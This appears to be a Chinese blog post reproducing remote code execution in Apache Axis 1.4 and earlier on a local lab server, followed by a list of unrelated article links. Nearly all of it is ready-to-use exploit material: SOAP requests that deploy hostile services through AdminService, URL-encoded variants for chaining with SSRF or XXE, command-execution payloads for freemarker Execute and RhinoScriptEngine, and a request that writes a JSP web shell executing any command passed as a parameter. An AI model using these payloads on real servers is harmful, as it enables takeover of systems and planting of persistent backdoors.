1、环境搭建

在idea 上新建项目,然后用tomcat运行即可

2、漏洞复现

2、1 freemarker.template.utility.Execute

如果项目里面没有freemarker 就添加,这里添加的是 freemarker-2.3.30.jar

  • 创建 freemarkerTest services ,返回Done processing 即表示创建成功,同时访问services页面也可以看到freemarkerTest services
POST /services/AdminService HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8083/services
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: localhost:8083
Content-Length: 632 <?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="freemarkerTest" provider="java:RPC">
<parameter name="className" value="freemarker.template.utility.Execute"/>
<parameter name="allowedMethods" value="*"/>
</service>
</deployment>
</soapenv:Body>
</soapenv:Envelope>
  • GET 创建service ,配合ssrf xxe 使用(当 "enableRemoteAdmin" 为 "false" )时
!--><deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="freemarkerTest" provider="java:RPC">
<parameter name="className" value="freemarker.template.utility.Execute"/>
<parameter name="allowedMethods" value="*"/>
</service>
</deployment

进行urlencode

%21%2d%2d%3e%3c%64%65%70%6c%6f%79%6d%65%6e%74%20%78%6d%6c%6e%73%3d%22%68%74%74%70%3a%2f%2f%78%6d%6c%2e%61%70%61%63%68%65%2e%6f%72%67%2f%61%78%69%73%2f%77%73%64%64%2f%22%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%78%6d%6c%6e%73%3a%6a%61%76%61%3d%22%68%74%74%70%3a%2f%2f%78%6d%6c%2e%61%70%61%63%68%65%2e%6f%72%67%2f%61%78%69%73%2f%77%73%64%64%2f%70%72%6f%76%69%64%65%72%73%2f%6a%61%76%61%22%3e%0a%20%20%20%20%20%20%20%3c%73%65%72%76%69%63%65%20%6e%61%6d%65%3d%22%66%72%65%65%6d%61%72%6b%65%72%54%65%73%74%22%20%70%72%6f%76%69%64%65%72%3d%22%6a%61%76%61%3a%52%50%43%22%3e%0a%09%09%3c%70%61%72%61%6d%65%74%65%72%20%6e%61%6d%65%3d%22%63%6c%61%73%73%4e%61%6d%65%22%20%76%61%6c%75%65%3d%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%2f%3e%0a%09%09%3c%70%61%72%61%6d%65%74%65%72%20%6e%61%6d%65%3d%22%61%6c%6c%6f%77%65%64%4d%65%74%68%6f%64%73%22%20%76%61%6c%75%65%3d%22%2a%22%2f%3e%0a%20%20%20%20%20%20%20%3c%2f%73%65%72%76%69%63%65%3e%0a%20%20%20%20%3c%2f%64%65%70%6c%6f%79%6d%65%6e%74

http://localhost:8083/services/AdminService?method= 将urlencode之后的值放在此处

  • 执行命令
POST /services/freemarkerTest HTTP/1.1
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8083/services
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: localhost:8083
Content-Length: 671 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<exec soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<arg0 href="#id0"/>
</exec>
<multiRef id="id0" soapenc:root="0" soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" soapenc:arrayType="xsd:anyType[1]" xsi:type="soapenc:Array" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<multiRef xsi:type="soapenc:string">cmd.exe /c echo 111111</multiRef>
</multiRef>
</soapenv:Body>
</soapenv:Envelope>

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util="http://utility.template.freemarker" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<util:exec soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<arguments>
<string xsi:type="soapenc:string">cmd.exe /c whoami</string>
</arguments>
</util:exec>
</soapenv:Body>
</soapenv:Envelope>

  • 卸载service
POST /services/AdminService HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8083/services
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: localhost:8083
Content-Length: 395 <?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<undeployment xmlns="http://xml.apache.org/axis/wsdd/">
<service name="freemarkerTest"/>
</undeployment>
</soapenv:Body>
</soapenv:Envelope>
http://localhost:8083/services/AdminService?method=%21%2d%2d%3e%3c%75%6e%64%65%70%6c%6f%79%6d%65%6e%74%20%78%6d%6c%6e%73%3d%22%68%74%74%70%3a%2f%2f%78%6d%6c%2e%61%70%61%63%68%65%2e%6f%72%67%2f%61%78%69%73%2f%77%73%64%64%2f%22%3e%0a%20%20%20%20%20%20%3c%73%65%72%76%69%63%65%20%6e%61%6d%65%3d%22%66%72%65%65%6d%61%72%6b%65%72%54%65%73%74%22%2f%3e%0a%20%20%20%20%3c%2f%75%6e%64%65%70%6c%6f%79%6d%65%6e%74

2、2 com.sun.script.javascript.RhinoScriptEngine

jdk <= 1.7 可用 本地复现用的 jdk 1.7.0_79

  • 创建services
POST /services/AdminService HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8083/services
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: localhost:8083
Content-Length: 1074 <?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="RhinoScriptEngineServiceTest" provider="java:RPC">
<parameter name="className" value="com.sun.script.javascript.RhinoScriptEngine" />
<parameter name="allowedMethods" value="eval" />
<typeMapping deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"
type="java:javax.script.SimpleScriptContext"
qname="ns:SimpleScriptContext"
serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"
xmlns:ns="urn:beanservice" regenerateElement="false">
</typeMapping>
</service>
</deployment>
</soapenv:Body>
</soapenv:Envelope>
  • GET 创建service ,配合ssrf xxe 使用(当 "enableRemoteAdmin" 为 "false" )时
!--><deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="RhinoScriptEngineServiceTest" provider="java:RPC">
<parameter name="className" value="com.sun.script.javascript.RhinoScriptEngine" />
<parameter name="allowedMethods" value="eval" />
<typeMapping deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"
type="java:javax.script.SimpleScriptContext"
qname="ns:SimpleScriptContext"
serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"
xmlns:ns="urn:beanservice" regenerateElement="false">
</typeMapping>
</service>
</deployment

进行urlencode

http://localhost:8083/services/AdminService?method=%21%2d%2d%3e%3c%64%65%70%6c%6f%79%6d%65%6e%74%20%78%6d%6c%6e%73%3d%22%68%74%74%70%3a%2f%2f%78%6d%6c%2e%61%70%61%63%68%65%2e%6f%72%67%2f%61%78%69%73%2f%77%73%64%64%2f%22%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%78%6d%6c%6e%73%3a%6a%61%76%61%3d%22%68%74%74%70%3a%2f%2f%78%6d%6c%2e%61%70%61%63%68%65%2e%6f%72%67%2f%61%78%69%73%2f%77%73%64%64%2f%70%72%6f%76%69%64%65%72%73%2f%6a%61%76%61%22%3e%0a%20%20%20%20%20%20%20%3c%73%65%72%76%69%63%65%20%6e%61%6d%65%3d%22%52%68%69%6e%6f%53%63%72%69%70%74%45%6e%67%69%6e%65%53%65%72%76%69%63%65%54%65%73%74%22%20%70%72%6f%76%69%64%65%72%3d%22%6a%61%76%61%3a%52%50%43%22%3e%0a%20%20%20%20%20%20%20%20%20%20%3c%70%61%72%61%6d%65%74%65%72%20%6e%61%6d%65%3d%22%63%6c%61%73%73%4e%61%6d%65%22%20%76%61%6c%75%65%3d%22%63%6f%6d%2e%73%75%6e%2e%73%63%72%69%70%74%2e%6a%61%76%61%73%63%72%69%70%74%2e%52%68%69%6e%6f%53%63%72%69%70%74%45%6e%67%69%6e%65%22%20%2f%3e%0a%20%20%20%20%20%20%20%20%20%20%3c%70%61%72%61%6d%65%74%65%72%20%6e%61%6d%65%3d%22%61%6c%6c%6f%77%65%64%4d%65%74%68%6f%64%73%22%20%76%61%6c%75%65%3d%22%65%76%61%6c%22%20%2f%3e%0a%20%20%20%20%20%20%20%20%20%20%3c%74%79%70%65%4d%61%70%70%69%6e%67%20%64%65%73%65%72%69%61%6c%69%7a%65%72%3d%22%6f%72%67%2e%61%70%61%63%68%65%2e%61%78%69%73%2e%65%6e%63%6f%64%69%6e%67%2e%73%65%72%2e%42%65%61%6e%44%65%73%65%72%69%61%6c%69%7a%65%72%46%61%63%74%6f%72%79%22%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%74%79%70%65%3d%22%6a%61%76%61%3a%6a%61%76%61%78%2e%73%63%72%69%70%74%2e%53%69%6d%70%6c%65%53%63%72%69%70%74%43%6f%6e%74%65%78%74%22%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%71%6e%61%6d%65%3d%22%6e%73%3a%53%69%6d%70%6c%65%53%63%72%69%70%74%43%6f%6e%74%65%78%74%22%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%72%69%61%6c%69%7a%65%72%3d%22%6f%72%67%2e%61%70%61%63%68%65%2e%61%78%69%73%2e%65%6e%63%6f%64%69%6e%67%2e%73%65%72%2e%42%65%61%6e%53%65%72%69%61%6c%69%7a%65%72%46%61%63%74%6f%72%79%22%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%78%6d%6c%6e%73%3a%6e%73%3d%22%75%72%6e%3a%62%65%61%6e%73%65%72%76%69%63%65%22%20%72%65%67%65%6e%65%72%61%74%65%45%6c%65%6d%65%6e%74%3d%22%66%61%6c%73%65%22%3e%0a%20%20%20%20%20%20%20%20%20%20%3c%2f%74%79%70%65%4d%61%70%70%69%6e%67%3e%0a%20%20%20%20%20%20%3c%2f%73%65%72%76%69%63%65%3e%0a%20%20%20%20%3c%2f%64%65%70%6c%6f%79%6d%65%6e%74
  • 执行命令
<?xml version='1.0' encoding='UTF-8'?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jav="http://javascript.script.sun.com">
<soapenv:Body>
<eval xmlns="http://localhost:8083/services/scriptEngine">
<arg0 xmlns=""><![CDATA[function test(){var cmd1='c'; cmd1 += 'm';cmd1 += 'd';cmd1 += '.';cmd1 += 'e'; cmd1 += 'x';cmd1 += 'e';var cmd2 = '/'; cmd2 += 'c'; var pb = new java.lang.ProcessBuilder(cmd1,cmd2,'ver');var process = pb.start(); var ret = new java.util.Scanner(process.getInputStream()).useDelimiter('\\A').next();return ret;}test();]]>
</arg0>
<arg1 xmlns="" xsi:type="urn:SimpleScriptContext" xmlns:urn="urn:beanservice"></arg1>
</eval>
</soapenv:Body>
</soapenv:Envelope>
  • 卸载service
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<undeployment xmlns="http://xml.apache.org/axis/wsdd/">
<service name="RhinoScriptEngineServiceTest"/>
</undeployment>
</soapenv:Body>
</soapenv:Envelope>
http://localhost:8083/services/AdminService?method=%21%2d%2d%3e%3c%75%6e%64%65%70%6c%6f%79%6d%65%6e%74%20%78%6d%6c%6e%73%3d%22%68%74%74%70%3a%2f%2f%78%6d%6c%2e%61%70%61%63%68%65%2e%6f%72%67%2f%61%78%69%73%2f%77%73%64%64%2f%22%3e%0a%20%20%20%20%20%20%3c%73%65%72%76%69%63%65%20%6e%61%6d%65%3d%22%52%68%69%6e%6f%53%63%72%69%70%74%45%6e%67%69%6e%65%53%65%72%76%69%63%65%54%65%73%74%22%2f%3e%0a%20%20%20%20%3c%2f%75%6e%64%65%70%6c%6f%79%6d%65%6e%74

2、3 写文件

  • 创建service
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="writeFile2" provider="java:RPC">
<requestFlow>
<handler type="java:org.apache.axis.handlers.LogHandler" >
<parameter name="LogHandler.fileName" value="F:/work/SpringStudy/out/artifacts/axis_rce_test_war_exploded/shell123.jsp" />
<parameter name="LogHandler.writeToConsole" value="false" />
</handler>
</requestFlow>
<parameter name="className" value="java.util.Random" />
<parameter name="allowedMethods" value="*" />
</service>
</deployment>
</soapenv:Body>
</soapenv:Envelope>
  • 写文件
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util="http://util.java">
<soapenv:Header/>
<soapenv:Body>
<util:ints soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<in0 xsi:type="xsd:int" xs:type="type:int" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance"><![CDATA[
<%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
]]></in0>
<in1 xsi:type="xsd:int" xs:type="type:int" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance">?</in1>
</util:ints>
</soapenv:Body>
</soapenv:Envelope>

参考

Axis <=1.4 RCE 复现的更多相关文章

  1. 应用Apache Axis进行Web Service开发

    转自(http://tscjsj.blog.51cto.com/412451/84813) 一.概述 SOAP原意为Simple Object Access Protocol(简单对象访问协议),是一 ...

  2. 有理数的稠密性(The rational points are dense on the number axis.)

    每一个实数都能用有理数去逼近到任意精确的程度,这就是有理数的稠密性.The rational points are dense on the number axis.

  3. 使用axis开发web service服务端

    一.axis环境搭建 1.安装环境 JDK.Tomcat或Resin.eclipse等. 2.到 http://www.apache.org/dyn/closer.cgi/ws/axis/1_4下载A ...

  4. AXIS最佳实践

    前言: Axis是apache一个开源的webservice服务,需要web容器进行发布.本节主要用于介绍使用Axis开发webservice,包括服务端的创建.webservice的部署.客户端的调 ...

  5. axis 理解

    前言 使用numpy sum(a,axis=0)的时候,对axis参数比较费解,和直觉不太一样,故此记录 b = np.arange(12).reshape(3,4) b array([[ 0, 1, ...

  6. Axis 1 https(SSL) client 证书验证错误ValidatorException workaround

    Axis 1.x 编写的client在测试https的webservice的时候, 由于client 代码建立SSL连接的时候没有对truststore进行设置,在与https部署的webservic ...

  7. axis

    http://www.cnblogs.com/liyanblog/archive/2011/11/29/2266942.html 报错: D:\ws\la\WSofSMNS\WebRoot\WEB-I ...

  8. 【知识积累】服务器端获取客户端的IP地址(当客户端调用由Axis开发的WebService)

    一.前言 由于项目中一个小的模块需要获取客户端的IP地址以保证安全调用webservice接口,项目中客户端使用C#编写,服务器端使用Java编写,服务器端与客户端采用Axis开发的WebServic ...

  9. 使用axis调用WebService服务端

    由于项目中要调用其他公司的接口,研究了下axis调用webService这种方式,现将代码贴出,以备以后查阅: package com.xbq; import javax.xml.namespace. ...

  10. MATLAB axis和axes的区别

    axis中文为“轴”之意,在matlab中用于控制坐标轴的范围和样式(颜色等). axis([XMIN XMAX YMIN YMAX]) 设置当前所绘图像的x轴和y轴的范围.axis([XMIN XM ...

随机推荐

  1. kivy八种布局方式学习

    kivy八种布局:FloatLayout.BoxLayout.AnchorLayout.GridLayout.PageLayout.RelativeLayout.ScatterLayout.Stack ...

  2. Yara规则学习

    01 定义 官网: YARA is a tool aimed at (but not limited to) helping malware researchers to identify and c ...

  3. 『Java』StringBuilder类使用方法

    String类存在的问题 String类的底层是一个被final修饰的byte[],不能改变. 为了解决以上问题,可以使用java.lang.StringBuilder类. StringBuilder ...

  4. Postman API 接口测试、Jenkin 持续集成测试

    Postman 是一个创建和使用API的应用,Postman 对于Web开发者来说非常有用,Postman 带来的便利有很多,诸如: RESTFul接口测试不依赖其他端,进度不受影响 测试脚本即文档, ...

  5. 【原创】Java内存攻击技术漫谈

    前言 Java技术栈漏洞目前业已是web安全领域的主流战场,随着IPS.RASP等防御系统的更新迭代,Java攻防交战阵地已经从磁盘升级到了内存里面. 在今年7月份上海银针安全沙龙上,我分享了< ...

  6. SQL 练习20

    查询各科成绩前三名的记录 select a.sid,a.cid,a.score from sc a left join sc b on a.cid = b.cid and a.score<b.s ...

  7. Arduino连接L298n驱动板驱动小车的电机

    1.L298N介绍 先来讲讲电机驱动,驱动一般使用L298N,L298N 是一种双H桥电机驱动芯片,其中每个H桥可以提供2A的电流,功率部分的供电电压范围是2.5-48v,逻辑部分5v供电,接受5vT ...

  8. Windows下安装RocketMQ

    目录 前言 环境 具体操作 下载 环境变量配置 启动 关闭 生产.消费实例 RocketMQ Console 前言 项目中用到了延迟消息队列,记录下一win10下rocketmq的安装 环境 win1 ...

  9. docker部署minio

    快速部署 docker run -p 9000:9000 --name myminio \ -e "MINIO_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE" \ ...

  10. Longhorn,企业级云原生容器分布式存储 - 支持 ReadWriteMany (RWX) 工作负载(实验性功能)

    内容来源于官方 Longhorn 1.1.2 英文技术手册. 系列 Longhorn 是什么? Longhorn 企业级云原生容器分布式存储解决方案设计架构和概念 Longhorn 企业级云原生容器分 ...